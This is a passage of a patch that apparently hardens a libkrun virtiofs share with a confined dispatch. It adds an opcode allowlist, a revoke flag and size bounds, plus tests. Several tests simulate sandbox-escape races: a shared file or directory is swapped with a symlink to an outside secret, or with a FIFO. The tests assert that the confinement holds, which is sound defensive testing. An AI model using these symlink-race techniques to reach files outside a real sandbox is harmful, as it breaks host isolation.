+= 1; ++ } ++ thread::yield_now(); ++ } ++ swaps ++ }); ++ (stop, handle) ++} ++ ++#[test] ++fn race_a_file_swapped_with_a_link_to_an_outside_file() { ++ let share = Share::build(flags(false, false), |root| { ++ fs::write(root.join("x"), b"inside").unwrap(); ++ std::os::unix::fs::symlink(root.parent().unwrap().join("outside/secret"), root.join(".spare")).unwrap(); ++ }); ++ let (stop, handle) = mutator(share.root.join("x"), share.root.join(".spare")); ++ let outside = share.outside.clone(); ++ let (reads, share) = within(120, move || { ++ let mut share = share; ++ let mut reads = 0; ++ for _ in 0..3000 { ++ let reply = share.lookup(1, b"x"); ++ if reply.error != 0 { ++ continue; ++ } ++ let node = reply.obj::().nodeid; ++ let open = share.open(node, RDWR); ++ if open.error == 0 { ++ let fh = open.obj::().fh; ++ let data = share.read(node, fh, 0, 64); ++ if data.error == 0 { ++ assert_eq!(data.body, b"inside"); ++ reads += 1; ++ } ++ share.write(node, fh, 0, b"inside"); ++ share.release(node, fh); ++ } ++ share.forget(node, 1); ++ } ++ (reads, share) ++ }); ++ stop.store(true, Ordering::Relaxed); ++ assert!(handle.join().unwrap() > 0); ++ assert!(reads > 0, "the race never let a read through"); ++ assert_eq!(fs::read(outside.join("secret")).unwrap(), b"SECRET"); ++ drop(share); ++} ++ ++#[test] ++fn race_a_directory_swapped_with_a_link_to_an_outside_directory() { ++ let share = Share::build(flags(false, false), |root| { ++ fs::create_dir(root.join("d")).unwrap(); ++ std::os::unix::fs::symlink(root.parent().unwrap().join("outside"), root.join(".spare")).unwrap(); ++ }); ++ let (stop, handle) = mutator(share.root.join("d"), share.root.join(".spare")); ++ let outside = share.outside.clone(); ++ let (made, share) = within(120, move || { ++ let mut share = share; ++ let mut made = 0; ++ for i in 0..3000 { ++ let reply = share.lookup(1, b"d"); ++ if reply.error != 0 { ++ continue; ++ } ++ let node = reply.obj::().nodeid; ++ let created = share.create(node, format!("f{i}").as_bytes(), 0o644, WRONLY); ++ if created.error == 0 { ++ made += 1; ++ } ++ share.mkdir(node, format!("m{i}").as_bytes(), 0o755); ++ share.symlink(node, format!("s{i}").as_bytes(), b"x"); ++ share.forget(node, 1); ++ } ++ (made, share) ++ }); ++ stop.store(true, Ordering::Relaxed); ++ assert!(handle.join().unwrap() > 0); ++ assert!(made > 0, "the race never let a create through"); ++ let mut entries: Vec<_> = fs::read_dir(&outside).unwrap().map(|e| e.unwrap().file_name()).collect(); ++ entries.sort(); ++ assert_eq!(entries, ["secret"]); ++ drop(share); ++} ++ ++#[test] ++fn race_a_file_swapped_with_a_fifo_never_blocks() { ++ let share = Share::build(flags(false, false), |root| { ++ fs::write(root.join("p"), b"inside").unwrap(); ++ mkfifo(&root.join(".spare")); ++ }); ++ let (stop, handle) = mutator(share.root.join("p"), share.root.join(".spare")); ++ let (reads, share) = within(120, move || { ++ let mut share = share; ++ let mut reads = 0; ++ for _ in 0..3000 { ++ let reply = share.lookup(1, b"p"); ++ if reply.error != 0 { ++ continue; ++ } ++ let node = reply.obj::().nodeid; ++ for flags in [RDONLY, WRONLY] { ++ let open = share.open(node, flags); ++ if open.error == 0 { ++ let fh = open.obj::().fh; ++ if flags == RDONLY { ++ let data = share.read(node, fh, 0, 64); ++ assert_eq!(data.body, b"inside"); ++ reads += 1; ++ } ++ share.release(node, fh); ++ } ++ } ++ share.forget(node, 1); ++ } ++ (reads, share) ++ }); ++ stop.store(true, Ordering::Relaxed); ++ assert!(handle.join().unwrap() > 0); ++ assert!(reads > 0, "the race never let a read through"); ++ drop(share); ++} ++ ++// ---- review follow-ups: bounded directory streams, the node table, handle ownership, reply bytes ------ ++ ++fn resident_bytes() -> u64 { ++ let mut info: libc::proc_taskinfo = unsafe { std::mem::zeroed() }; ++ let size = std::mem::size_of::() as i32; ++ let n = unsafe { libc::proc_pidinfo(std::process::id() as i32, libc::PROC_PIDTASKINFO, 0, (&mut info as *mut libc::proc_taskinfo).cast(), size) }; ++ assert_eq!(n, size); ++ info.pti_resident_size ++} ++ ++#[test] ++fn r10_many_directory_handles_on_a_large_directory_cache_no_listing() { ++ raise_nofile(8192); ++ let mut share = Share::build(flags(false, false), |root| { ++ fs::create_dir(root.join("big")).unwrap(); ++ for i in 0..20_000 { ++ fs::File::create(root.join(format!("big/entry-with-a-longish-name-{i:06}"))).unwrap(); ++ } ++ }); ++ let big = share.node(1, b"big"); ++ let before = resident_bytes(); ++ let mut handles = Vec::new(); ++ for _ in 0..512 { ++ let fh = share.opendir(big).obj::().fh; ++ // Every handle reads a page from the start and one from the middle of the directory. ++ assert!(!share.readdir_page(big, fh, 0, 4096, false).is_empty()); ++ assert!(!share.readdir_page(big, fh, 10_000, 4096, false).is_empty()); ++ handles.push(fh); ++ } ++ // No handle holds a listing: one stream and at most one entry read ahead, of at most NAME_MAX bytes. ++ for fh in &handles { ++ let st = share.fs().lock(); ++ let Body::Dir(stream) = &st.handles[fh].body else { panic!("not a directory handle") }; ++ assert!(stream.pending.as_ref().map_or(0, |p| p.name.len()) <= NAME_MAX); ++ } ++ let grown = resident_bytes().saturating_sub(before); ++ // The stated bound: 512 open streams (one libc DIR buffer each) stay far below 64 MiB, where a cached ++ // listing of 20,000 entries per handle needed hundreds of MiB. ++ assert!(grown < 64 << 20, "resident memory grew by {grown} bytes"); ++ for fh in handles { ++ assert_eq!(share.call(Opcode::Releasedir, big, ReleaseIn { fh, ..Default::default() }.as_slice()).error, 0); ++ } ++} ++ ++fn rewinds(share: &Share, fh: u64) -> u64 { ++ match &share.fs().lock().handles[&fh].body { ++ Body::Dir(stream) => stream.rewinds, ++ Body::File(_) => panic!("not a directory handle"), ++ } ++} ++ ++#[test] ++fn readdir_resumes_at_offsets_across_calls() { ++ let mut share = Share::build(flags(false, false), |root| { ++ fs::create_dir(root.join("d")).unwrap(); ++ for i in 0..300 { ++ fs::write(root.join(format!("d/name-{i:03}-{}", "x".repeat(i % 13))), b"").unwrap(); ++ } ++ }); ++ let d = share.node(1, b"d"); ++ for plus in [false, true] { ++ let fh = share.opendir(d).obj::().fh; ++ // Small pages, each resumed at the last offset handed out. ++ let mut all = Vec::new(); ++ let mut offset = 0; ++ loop { ++ let page = share.readdir_page(d, fh, offset, 512, plus); ++ if page.is_empty() { ++ break; ++ } ++ for (i, (_, off, _, _)) in page.iter().enumerate() { ++ assert_eq!(*off, offset + i as u64 + 1); ++ } ++ offset = page.last().unwrap().1; ++ all.extend(page.into_iter().map(|(name, off, _, _)| (name, off))); ++ } ++ // Paging forward kept the entry that did not fit and never rewound the stream. ++ assert_eq!(rewinds(&share, fh), 0); ++ let mut names: Vec = all.iter().map(|(n, _)| n.clone()).collect(); ++ assert_eq!(names.len(), 300); ++ names.sort(); ++ names.dedup(); ++ assert_eq!(names.len(), 300); ++ // An earlier offset (the stream rewinds) and a later one (it skips forward) give the same entries. ++ let again = share.readdir_page(d, fh, all[49].1, 512, plus); ++ assert_eq!(again[0].0, all[50].0); ++ assert_eq!(rewinds(&share, fh), 1); ++ let ahead = share.readdir_page(d, fh, all[249].1, 512, plus); ++ assert_eq!(ahead[0].0, all[250].0); ++ let fresh = share.opendir(d).obj::().fh; ++ let middle = share.readdir_page(d, fresh, all[149].1, 512, plus); ++ assert_eq!(middle[0].0, all[150].0); ++ assert!(share.readdir_page(d, fresh, 300, 512, plus).is_empty()); ++ } ++} ++ ++#[test] ++fn r10_a_full_node_table_refuses_new_nodes() { ++ assert_eq!(MAX_NODES, 262_144); ++ let mut share = Share::build(flags(false, false), |root| { ++ for name in ["a", "b", "c", "d"] { ++ fs::write(root.join(name), b"x").unwrap(); ++ } ++ }); ++ let known = share.fs().lock().nodes.len(); ++ assert_eq!(share.fs().lock().node_cap, MAX_NODES); ++ share.fs().lock().node_cap = known + 2; ++ let a = share.node(1, b"a"); ++ share.node(1, b"b"); ++ let before = snapshot(&share.root); ++ assert_eq!(share.lookup(1, b"c").error, lx::ENFILE); ++ assert_eq!(share.create(1, b"new", 0o644, WRONLY).error, lx::ENFILE); ++ assert_eq!(share.mkdir(1, b"dir", 0o755).error, lx::ENFILE); ++ assert_eq!(share.symlink(1, b"link", b"a").error, lx::ENFILE); ++ assert_eq!(snapshot(&share.root), before); ++ // A known node is still served, and a forgotten one frees its slot. ++ assert_eq!(share.node(1, b"a"), a); ++ share.forget(a, 2); ++ share.node(1, b"c"); ++ assert_eq!(share.fs().lock().nodes.len(), known + 2); ++} ++ ++#[test] ++fn a_handle_serves_only_its_own_node() { ++ let mut share = Share::build(flags(false, false), |root| { ++ fs::write(root.join("a"), b"aaaa").unwrap(); ++ fs::write(root.join("b"), b"bbbb").unwrap(); ++ fs::create_dir(root.join("d")).unwrap(); ++ fs::create_dir(root.join("e")).unwrap(); ++ }); ++ let a = share.node(1, b"a"); ++ let b = share.node(1, b"b"); ++ let d = share.node(1, b"d"); ++ let e = share.node(1, b"e"); ++ let fh = share.open_ok(a, RDWR); ++ let dh = share.opendir(d).obj::().fh; ++ let replies = [ ++ share.read(b, fh, 0, 4), ++ share.write(b, fh, 0, b"XXXX"), ++ share.call(Opcode::Getattr, b, GetattrIn { flags: GETATTR_FH, dummy: 0, fh }.as_slice()), ++ share.call(Opcode::Setattr, b, SetattrIn { valid: 8 | FATTR_FH, fh, size: 0, ..Default::default() }.as_slice()), ++ share.call(Opcode::Fsync, b, FsyncIn { fh, ..Default::default() }.as_slice()), ++ share.call(Opcode::Flush, b, FlushIn { fh, ..Default::default() }.as_slice()), ++ share.call(Opcode::Lseek, b, LseekIn { fh, offset: 0, whence: 3, padding: 0 }.as_slice()), ++ share.call(Opcode::Fallocate, b, FallocateIn { fh, offset: 0, length: 64, mode: 0, padding: 0 }.as_slice()), ++ share.release(b, fh), ++ share.call(Opcode::Readdir, e, ReadIn { fh: dh, size: 4096, ..Default::default() }.as_slice()), ++ share.call(Opcode::Fsyncdir, e, FsyncIn { fh: dh, ..Default::default() }.as_slice()), ++ share.call(Opcode::Releasedir, e, ReleaseIn { fh: dh, ..Default::default() }.as_slice()), ++ ]; ++ for (i, reply) in replies.iter().enumerate() { ++ assert_eq!(reply.error, lx::EBADF, "request {i}"); ++ } ++ assert_eq!(fs::read(share.root.join("b")).unwrap(), b"bbbb"); ++ assert_eq!(share.read(a, fh, 0, 4).body, b"aaaa"); ++ assert_eq!(share.release(a, fh).error, 0); ++} ++ ++#[test] ++fn replies_carry_no_stale_bytes() { ++ let mut share = Share::build(flags(false, false), |root| { ++ for name in ["a", "bb", "ccc", "ddddddddd"] { ++ fs::write(root.join(name), b"x").unwrap(); ++ } ++ }); ++ share.fill = 0xAA; ++ // An entry reply is exactly its header and EntryOut, and nothing after it is touched. ++ let reply = share.lookup(1, b"a"); ++ assert_eq!(reply.body.len(), std::mem::size_of::()); ++ assert!(reply.after.iter().all(|b| *b == 0xAA)); ++ // An error reply is the bare header. ++ let reply = share.lookup(1, b"missing"); ++ assert_eq!((reply.error, reply.body.len()), (lx::ENOENT, 0)); ++ assert!(reply.after.iter().all(|b| *b == 0xAA)); ++ // Directory pages pad every name with zeros and end exactly at their length. ++ for plus in [false, true] { ++ let fh = share.opendir(1).obj::().fh; ++ let page = share.readdir_page(1, fh, 0, 4096, plus); ++ assert_eq!(page.len(), 4); ++ for (name, _, _, padding) in &page { ++ assert_eq!(padding.len(), ((name.len() + 7) & !7) - name.len()); ++ assert!(padding.iter().all(|b| *b == 0), "{name}"); ++ } ++ let reply = share.call(Opcode::Readdir, 1, ReadIn { fh, offset: 4, size: 4096, ..Default::default() }.as_slice()); ++ assert!(reply.body.is_empty() && reply.after.iter().all(|b| *b == 0xAA)); ++ } ++ // A READ returns exactly the file's bytes. ++ let a = share.node(1, b"a"); ++ let fh = share.open_ok(a, RDONLY); ++ let reply = share.read(a, fh, 0, 4096); ++ assert_eq!(reply.body, b"x"); ++ assert!(reply.after.iter().all(|b| *b == 0xAA)); ++} +diff --git a/src/devices/src/virtio/fs/macos/mod.rs b/src/devices/src/virtio/fs/macos/mod.rs +index b8edbc7..63ca834 100644 +--- a/src/devices/src/virtio/fs/macos/mod.rs ++++ b/src/devices/src/virtio/fs/macos/mod.rs +@@ -1,2 +1,3 @@ ++pub mod confined; + pub mod fs_utils; + pub mod passthrough; +diff --git a/src/devices/src/virtio/fs/server.rs b/src/devices/src/virtio/fs/server.rs +index 5b37c0b..b0395c5 100644 +--- a/src/devices/src/virtio/fs/server.rs ++++ b/src/devices/src/virtio/fs/server.rs +@@ -17,7 +17,7 @@ use std::sync::Arc; + + use vm_memory::ByteValued; + +-use super::super::linux_errno::linux_error; ++use super::super::linux_errno::{eacces, enosys, linux_error}; + use super::bindings; + use super::descriptor_utils::{Reader, Writer}; + use super::filesystem::{ +@@ -1439,6 +1439,357 @@ impl Server { + } + } + ++pub use confined_dispatch::ConfinedDispatch; ++ ++// The confined dispatch of the Cowork shares. Nothing outside the tests reaches it until the guarded fs ++// device (a later patch) serves a confined filesystem through it. ++#[allow(dead_code)] ++pub(super) mod confined_dispatch { ++ use super::*; ++ ++ /// The confined dispatch (Cowork shares, R0, R6, R11): a filesystem served through ++ /// `Server::handle_confined_message` answers a closed opcode list and carries a revoke flag. ++ pub trait ConfinedDispatch { ++ /// R11: true once the share was revoked; every later request answers `EACCES`. ++ fn revoked(&self) -> bool; ++ /// R11: closes every descriptor the filesystem holds. Only the server's owner can call it. ++ fn close_all(&mut self) -> usize; ++ } ++ ++ /// R0/R14: the guest never builds a READ or WRITE payload above 256 pages of 4 KiB. ++ pub const CONFINED_MAX_PAGES: u16 = 256; ++ /// The largest READ or WRITE payload of the confined dispatch: 256 x 4 KiB = 1 MiB. ++ pub const CONFINED_MAX_WRITE: u32 = CONFINED_MAX_PAGES as u32 * 4096; ++ ++ /// R0: the only INIT flags the confined dispatch ever negotiates. No DAX, no writeback cache, no POSIX ++ /// ACLs, no submounts, no KILLPRIV_V2, no security contexts, no idmap, no locks, no ioctl. ++ pub fn confined_init_flags() -> FsOptions { ++ FsOptions::ASYNC_READ | FsOptions::BIG_WRITES | FsOptions::AUTO_INVAL_DATA | FsOptions::MAX_PAGES ++ } ++ ++ const OP_LOOKUP: u32 = Opcode::Lookup as u32; ++ const OP_FORGET: u32 = Opcode::Forget as u32; ++ const OP_GETATTR: u32 = Opcode::Getattr as u32; ++ const OP_SETATTR: u32 = Opcode::Setattr as u32; ++ const OP_READLINK: u32 = Opcode::Readlink as u32; ++ const OP_SYMLINK: u32 = Opcode::Symlink as u32; ++ const OP_MKNOD: u32 = Opcode::Mknod as u32; ++ const OP_MKDIR: u32 = Opcode::Mkdir as u32; ++ const OP_UNLINK: u32 = Opcode::Unlink as u32; ++ const OP_RMDIR: u32 = Opcode::Rmdir as u32; ++ const OP_RENAME: u32 = Opcode::Rename as u32; ++ const OP_LINK: u32 = Opcode::Link as u32; ++ const OP_OPEN: u32 = Opcode::Open as u32; ++ const OP_READ: u32 = Opcode::Read as u32; ++ const OP_WRITE: u32 = Opcode::Write as u32; ++ const OP_STATFS: u32 = Opcode::Statfs as u32; ++ const OP_RELEASE: u32 = Opcode::Release as u32; ++ const OP_FSYNC: u32 = Opcode::Fsync as u32; ++ const OP_FLUSH: u32 = Opcode::Flush as u32; ++ const OP_INIT: u32 = Opcode::Init as u32; ++ const OP_OPENDIR: u32 = Opcode::Opendir as u32; ++ const OP_READDIR: u32 = Opcode::Readdir as u32; ++ const OP_RELEASEDIR: u32 = Opcode::Releasedir as u32; ++ const OP_FSYNCDIR: u32 = Opcode::Fsyncdir as u32; ++ const OP_ACCESS: u32 = Opcode::Access as u32; ++ const OP_CREATE: u32 = Opcode::Create as u32; ++ const OP_INTERRUPT: u32 = Opcode::Interrupt as u32; ++ const OP_DESTROY: u32 = Opcode::Destroy as u32; ++ const OP_BATCH_FORGET: u32 = Opcode::BatchForget as u32; ++ const OP_FALLOCATE: u32 = Opcode::Fallocate as u32; ++ const OP_READDIRPLUS: u32 = Opcode::Readdirplus as u32; ++ const OP_RENAME2: u32 = Opcode::Rename2 as u32; ++ const OP_LSEEK: u32 = Opcode::Lseek as u32; ++ ++ /// The rest of a request after its fixed part, exactly as long as the header says. ++ fn confined_tail(in_header: &InHeader, fixed: usize, r: &mut Reader) -> Option> { ++ let len = (in_header.len as usize) ++ .checked_sub(size_of::())? ++ .checked_sub(fixed)?; ++ if r.available_bytes() < len { ++ return None; ++ } ++ let mut buf = vec![0; len]; ++ r.read_exact(&mut buf).ok()?; ++ Some(buf) ++ } ++ ++ /// Exactly `count` NUL-terminated names and nothing after them. A NUL inside a name, a missing ++ /// terminator or trailing bytes (no extension is ever negotiated) are refused (R1). ++ fn confined_names(buf: &[u8], count: usize) -> Option> { ++ let mut names = Vec::with_capacity(count); ++ let mut rest = buf; ++ for _ in 0..count { ++ let end = rest.iter().position(|b| *b == 0)?; ++ names.push(CStr::from_bytes_with_nul(&rest[..=end]).ok()?); ++ rest = &rest[end + 1..]; ++ } ++ rest.is_empty().then_some(names) ++ } ++ ++ fn confined_einval(unique: u64, w: Writer) -> Result { ++ reply_error(einval(), unique, w) ++ } ++ ++ fn entry_reply(res: io::Result, unique: u64, w: Writer) -> Result { ++ match res { ++ Ok(entry) => reply_ok(Some(EntryOut::from(entry)), None, unique, w), ++ Err(e) => reply_error(e, unique, w), ++ } ++ } ++ ++ fn empty_reply(res: io::Result<()>, unique: u64, w: Writer) -> Result { ++ match res { ++ Ok(()) => reply_ok(None::, None, unique, w), ++ Err(e) => reply_error(e, unique, w), ++ } ++ } ++ ++ impl Server { ++ /// The confined dispatch (R0): a closed opcode allowlist, every other opcode, present or future, ++ /// answers `ENOSYS` through the `match` fallthrough. No shared-memory region exists, so SETUPMAPPING ++ /// and REMOVEMAPPING are `ENOSYS` (R6). The revoke flag is checked first (R11). ++ pub fn handle_confined_message(&self, mut r: Reader, w: Writer) -> Result { ++ let in_header: InHeader = r.read_obj().map_err(Error::DecodeMessage)?; ++ let unique = in_header.unique; ++ ++ // R11: from the first request after the flag is set, nothing touches the host. Requests that ++ // take no reply are dropped. ++ if self.fs.revoked() { ++ return match in_header.opcode { ++ OP_FORGET | OP_BATCH_FORGET | OP_INTERRUPT | OP_DESTROY => Ok(0), ++ _ => reply_error(eacces(), unique, w), ++ }; ++ } ++ ++ // R10: request size stays at 1 MiB. ++ if in_header.len > (MAX_BUFFER_SIZE + BUFFER_HEADER_SIZE) { ++ return reply_error( ++ linux_error(io::Error::from_raw_os_error(libc::ENOMEM)), ++ unique, ++ w, ++ ); ++ } ++ ++ match in_header.opcode { ++ OP_INIT => self.confined_init(in_header, r, w), ++ OP_DESTROY => self.destroy(), ++ OP_LOOKUP => self.confined_lookup(in_header, r, w), ++ OP_FORGET => self.forget(in_header, r), ++ OP_BATCH_FORGET => self.batch_forget(in_header, r, w), ++ OP_GETATTR => self.getattr(in_header, r, w), ++ OP_SETATTR => self.confined_setattr(in_header, r, w), ++ OP_READLINK => self.readlink(in_header, w), ++ OP_SYMLINK => self.confined_symlink(in_header, r, w), ++ // R9: MKNOD only ever reaches the refusal. ++ OP_MKNOD => self.confined_mknod(in_header, r, w), ++ OP_MKDIR => self.confined_mkdir(in_header, r, w), ++ OP_UNLINK => self.confined_remove(in_header, r, w, false), ++ OP_RMDIR => self.confined_remove(in_header, r, w, true), ++ OP_RENAME => self.confined_rename(in_header, r, w, false), ++ OP_RENAME2 => self.confined_rename(in_header, r, w, true), ++ OP_LINK => self.confined_link(in_header, r, w), ++ OP_OPEN => self.open(in_header, r, w), ++ OP_READ => self.read(in_header, r, w), ++ OP_WRITE => self.write(in_header, r, w), ++ OP_STATFS => self.statfs(in_header, w), ++ OP_RELEASE => self.release(in_header, r, w), ++ OP_FSYNC => self.fsync(in_header, r, w), ++ OP_FLUSH => self.flush(in_header, r, w), ++ OP_OPENDIR => self.opendir(in_header, r, w), ++ OP_READDIR => self.readdir(in_header, r, w), ++ OP_READDIRPLUS => self.readdirplus(in_header, r, w), ++ OP_RELEASEDIR => self.releasedir(in_header, r, w), ++ OP_FSYNCDIR => self.fsyncdir(in_header, r, w), ++ OP_ACCESS => self.access(in_header, r, w), ++ OP_CREATE => self.confined_create(in_header, r, w), ++ OP_INTERRUPT => self.interrupt(in_header), ++ OP_LSEEK => self.lseek(in_header, r, w), ++ OP_FALLOCATE => self.fallocate(in_header, r, w), ++ _ => reply_error(enosys(), unique, w), ++ } ++ } ++ ++ /// R11: closes every descriptor of the confined filesystem. `&mut self`: only the owner of the ++ /// server (the device thread, between requests) can call it. ++ pub fn close_confined(&mut self) -> usize { ++ self.fs.close_all() ++ } ++ ++ /// The filesystem behind the confined dispatch. ++ pub fn confined_fs(&self) -> &F { ++ &self.fs ++ } ++ ++ fn confined_init(&self, in_header: InHeader, mut r: Reader, w: Writer) -> Result { ++ let unique = in_header.unique; ++ let Ok(InitInCompat { major, minor, max_readahead, flags }) = r.read_obj::() else { ++ return confined_einval(unique, w); ++ }; ++ let options = FsOptions::from_bits_truncate(flags as u64); ++ let flags2 = if options.contains(FsOptions::INIT_EXT) { ++ match r.read_obj::() { ++ Ok(ext) => ext.flags2, ++ Err(_) => return confined_einval(unique, w), ++ } ++ } else { ++ 0 ++ }; ++ if major < KERNEL_VERSION || (major == KERNEL_VERSION && minor < KERNEL_MINOR_VERSION) { ++ return reply_error(linux_error(io::Error::from_raw_os_error(libc::EPROTO)), unique, w); ++ } ++ if major > KERNEL_VERSION { ++ let out = InitOut { major: KERNEL_VERSION, minor: KERNEL_MINOR_VERSION, ..Default::default() }; ++ return reply_ok(Some(out), None, unique, w); ++ } ++ let capable = FsOptions::from_bits_truncate(((flags2 as u64) << 32) | (flags as u64)); ++ if let Err(e) = self.fs.init(capable) { ++ return reply_error(e, unique, w); ++ } ++ // R0: the reply never carries a flag outside the confined set, whatever the guest offers or the ++ // filesystem asks for. ++ let enabled = (capable & confined_init_flags()).bits(); ++ self.options.store(enabled, Ordering::Relaxed); ++ let out = InitOut { ++ major: KERNEL_VERSION, ++ minor: KERNEL_MINOR_VERSION, ++ max_readahead, ++ flags: enabled as u32, ++ max_background: u16::MAX, ++ congestion_threshold: (u16::MAX / 4) * 3, ++ max_write: CONFINED_MAX_WRITE, ++ time_gran: 1, ++ max_pages: CONFINED_MAX_PAGES, ++ map_alignment: 0, ++ flags2: (enabled >> 32) as u32, ++ ..Default::default() ++ }; ++ reply_ok(Some(out), None, unique, w) ++ } ++ ++ fn confined_lookup(&self, in_header: InHeader, mut r: Reader, w: Writer) -> Result { ++ let unique = in_header.unique; ++ let Some(buf) = confined_tail(&in_header, 0, &mut r) else { return confined_einval(unique, w) }; ++ let Some(names) = confined_names(&buf, 1) else { return confined_einval(unique, w) }; ++ entry_reply(self.fs.lookup(Context::from(in_header), in_header.nodeid.into(), names[0]), unique, w) ++ } ++ ++ fn confined_setattr(&self, in_header: InHeader, mut r: Reader, w: Writer) -> Result { ++ let unique = in_header.unique; ++ let Ok(setattr_in) = r.read_obj::() else { return confined_einval(unique, w) }; ++ let handle = if setattr_in.valid & FATTR_FH != 0 { Some(setattr_in.fh.into()) } else { None }; ++ let valid = SetattrValid::from_bits_truncate(setattr_in.valid); ++ // Built field by field: the stock conversion panics on a mode above 16 bits. ++ let mut st: bindings::stat64 = unsafe { std::mem::zeroed() }; ++ st.st_mode = (setattr_in.mode & 0o7777) as _; ++ st.st_size = setattr_in.size.min(i64::MAX as u64) as i64; ++ st.st_atime = setattr_in.atime.min(i64::MAX as u64) as i64; ++ st.st_mtime = setattr_in.mtime.min(i64::MAX as u64) as i64; ++ st.st_atime_nsec = (setattr_in.atimensec % 1_000_000_000).into(); ++ st.st_mtime_nsec = (setattr_in.mtimensec % 1_000_000_000).into(); ++ if setattr_in.size > i64::MAX as u64 && valid.contains(SetattrValid::SIZE) { ++ return confined_einval(unique, w); ++ } ++ match self.fs.setattr(Context::from(in_header), in_header.nodeid.into(), st, handle, valid) { ++ Ok((st, timeout)) => { ++ let out = AttrOut { ++ attr_valid: timeout.as_secs(), ++ attr_valid_nsec: timeout.subsec_nanos(), ++ dummy: 0, ++ attr: st.into(), ++ }; ++ reply_ok(Some(out), None, unique, w) ++ } ++ Err(e) => reply_error(e, unique, w), ++ } ++ } ++ ++ fn confined_symlink(&self, in_header: InHeader, mut r: Reader, w: Writer) -> Result { ++ let unique = in_header.unique; ++ let Some(buf) = confined_tail(&in_header, 0, &mut r) else { return confined_einval(unique, w) }; ++ let Some(names) = confined_names(&buf, 2) else { return confined_einval(unique, w) }; ++ let res = self.fs.symlink( ++ Context::from(in_header), ++ names[1], ++ in_header.nodeid.into(), ++ names[0], ++ Extensions::default(), ++ ); ++ entry_reply(res, unique, w) ++ } ++ ++ fn confined_mknod(&self, in_header: InHeader, mut r: Reader, w: Writer) -> Result { ++ let unique = in_header.unique; ++ let Ok(MknodIn { mode, rdev, umask, .. }) = r.read_obj::() else { return confined_einval(unique, w) }; ++ let Some(buf) = confined_tail(&in_header, size_of::(), &mut r) else { return confined_einval(unique, w) }; ++ let Some(names) = confined_names(&buf, 1) else { return confined_einval(unique, w) }; ++ let res = self.fs.mknod(Context::from(in_header), in_header.nodeid.into(), names[0], mode, rdev, umask, Extensions::default()); ++ entry_reply(res, unique, w) ++ } ++ ++ fn confined_mkdir(&self, in_header: InHeader, mut r: Reader, w: Writer) -> Result { ++ let unique = in_header.unique; ++ let Ok(MkdirIn { mode, umask }) = r.read_obj::() else { return confined_einval(unique, w) }; ++ let Some(buf) = confined_tail(&in_header, size_of::(), &mut r) else { return confined_einval(unique, w) }; ++ let Some(names) = confined_names(&buf, 1) else { return confined_einval(unique, w) }; ++ let res = self.fs.mkdir(Context::from(in_header), in_header.nodeid.into(), names[0], mode, umask, Extensions::default()); ++ entry_reply(res, unique, w) ++ } ++ ++ fn confined_remove(&self, in_header: InHeader, mut r: Reader, w: Writer, directory: bool) -> Result { ++ let unique = in_header.unique; ++ let Some(buf) = confined_tail(&in_header, 0, &mut r) else { return confined_einval(unique, w) }; ++ let Some(names) = confined_names(&buf, 1) else { return confined_einval(unique, w) }; ++ let ctx = Context::from(in_header); ++ let res = if directory { ++ self.fs.rmdir(ctx, in_header.nodeid.into(), names[0]) ++ } else { ++ self.fs.unlink(ctx, in_header.nodeid.into(), names[0]) ++ }; ++ empty_reply(res, unique, w) ++ } ++ ++ fn confined_rename(&self, in_header: InHeader, mut r: Reader, w: Writer, two: bool) -> Result { ++ let unique = in_header.unique; ++ let (newdir, flags, fixed) = if two { ++ let Ok(Rename2In { newdir, flags, .. }) = r.read_obj::() else { return confined_einval(unique, w) }; ++ (newdir, flags, size_of::()) ++ } else { ++ let Ok(RenameIn { newdir }) = r.read_obj::() else { return confined_einval(unique, w) }; ++ (newdir, 0, size_of::()) ++ }; ++ let Some(buf) = confined_tail(&in_header, fixed, &mut r) else { return confined_einval(unique, w) }; ++ let Some(names) = confined_names(&buf, 2) else { return confined_einval(unique, w) }; ++ let res = self.fs.rename(Context::from(in_header), in_header.nodeid.into(), names[0], newdir.into(), names[1], flags); ++ empty_reply(res, unique, w) ++ } ++ ++ fn confined_link(&self, in_header: InHeader, mut r: Reader, w: Writer) -> Result { ++ let unique = in_header.unique; ++ let Ok(LinkIn { oldnodeid }) = r.read_obj::() else { return confined_einval(unique, w) }; ++ let Some(buf) = confined_tail(&in_header, size_of::(), &mut r) else { return confined_einval(unique, w) }; ++ let Some(names) = confined_names(&buf, 1) else { return confined_einval(unique, w) }; ++ let res = self.fs.link(Context::from(in_header), oldnodeid.into(), in_header.nodeid.into(), names[0]); ++ entry_reply(res, unique, w) ++ } ++ ++ fn confined_create(&self, in_header: InHeader, mut r: Reader, w: Writer) -> Result { ++ let unique = in_header.unique; ++ let Ok(CreateIn { flags, mode, umask, open_flags, .. }) = r.read_obj::() else { return confined_einval(unique, w) }; ++ let Some(buf) = confined_tail(&in_header, size_of::(), &mut r) else { return confined_einval(unique, w) }; ++ let Some(names) = confined_names(&buf, 1) else { return confined_einval(unique, w) }; ++ let kill_priv = open_flags & OPEN_KILL_SUIDGID != 0; ++ match self.fs.create(Context::from(in_header), in_header.nodeid.into(), names[0], mode, kill_priv, flags, umask, Extensions::default()) { ++ Ok((entry, handle, opts)) => { ++ let open_out = OpenOut { fh: handle.map(Into::into).unwrap_or(0), open_flags: opts.bits(), ..Default::default() }; ++ reply_ok(Some(EntryOut::from(entry)), Some(open_out.as_slice()), unique, w) ++ } ++ Err(e) => reply_error(e, unique, w), ++ } ++ } ++ } ++} ++ + fn reply_ok( + out: Option, + data: Option<&[u8]>, diff --git a/apple/Cowork/WinterCoworkLibkrun/patches/0025-proposed-confined-virtiofs-git-rules-and-quarantine.patch b/apple/Cowork/WinterCoworkLibkrun/patches/0025-proposed-confined-virtiofs-git-rules-and-quarantine.patch new file mode 100644 index 000000000..e9d99d913 --- /dev/null +++ b/apple/Cowork/WinterCoworkLibkrun/patches/0025-proposed-confined-virtiofs-git-rules-and-quarantine.patch @@ -0,0 +1,3891 @@ +diff --git a/src/devices/src/virtio/fs/macos/confined/git.rs b/src/devices/src/virtio/fs/macos/confined/git.rs +new file mode 100644 +index 0000000..b5d59ad +--- /dev/null ++++ b/src/devices/src/virtio/fs/macos/confined/git.rs +@@ -0,0 +1,1406 @@ ++// R15: host-executed configuration in read-write folders (owner M6: block), as revised for H1-H5. ++// ++// Active on read-write folder-source devices only (`ShareFlags::folder_rules`). Every check runs on the ++// device thread inside the request, through the server's held descriptors (R2): names are compared folded ++// on a case-insensitive volume (`_PC_CASE_SENSITIVE`) and existing entries by (dev, ino); git directories ++// are recognised wherever they sit; the protected zone is every git directory and everything below a ++// directory named `.git`, except git's own `refs/` and `logs/` subtrees; config changes only through ++// git's own lock-and-rename, against the allowlist; pointer files are buffered until FLUSH or RELEASE and ++// 